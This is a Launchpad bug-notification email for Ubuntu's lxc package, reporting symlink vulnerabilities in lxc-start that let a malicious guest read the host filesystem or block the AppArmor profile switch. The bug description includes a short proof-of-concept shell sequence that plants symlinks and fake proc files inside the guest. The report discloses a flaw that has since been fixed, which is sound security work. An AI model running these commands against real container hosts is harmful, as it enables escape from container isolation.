I'm not so deep in LXC to know how the design/specification is done for that. Discussion of "features" might therefore suite the lxc-users mailing list better.
The other thing is, if Ubuntu would treat that part of new behaviour of LXC affecting some users as "regression" and hence might act on that. I do not know, who would be up to decide that. Perhaps someone from Ubuntu could comment on that. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lxc in Ubuntu. https://bugs.launchpad.net/bugs/1476662 Title: lxc-start symlink vulnerabilities may allow guest to read host filesystem, interfere with apparmor Status in lxc package in Ubuntu: Fix Released Bug description: lxc-start shuffles around mounts using helper directory /usr/lib/x86_64-linux-gnu/lxc (guest root fs is mounted here) It then modifies mounts operating in guest root directory before invoking init. As it does not check if all mount points are directories, a malicious guest may modify its internal structure before shutdown (or was created using manipulated image) and then when started again, guest may * Access the whole host root filesystem * Block switching from lxc-start apparmor profile to lxc-container- default # Real putold before pivot-root (root fs will end here) mkdir -p /x/lxc_putold # Faked putold ln -s /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold lxc_putold mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc touch /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc/mounts # proc fake mkdir -p /x/proc umount /proc rmdir /proc ln -s /usr/lib/x86_64-linux-gnu/lxc/x/proc proc mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr /usr/lib/x86_64-linux-gnu/lxc/x/proc/self touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr/current touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/self/status The issue was also found during https://service.ait.ac.at/security/2015/LxcSecurityAnalysis.html To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1476662/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp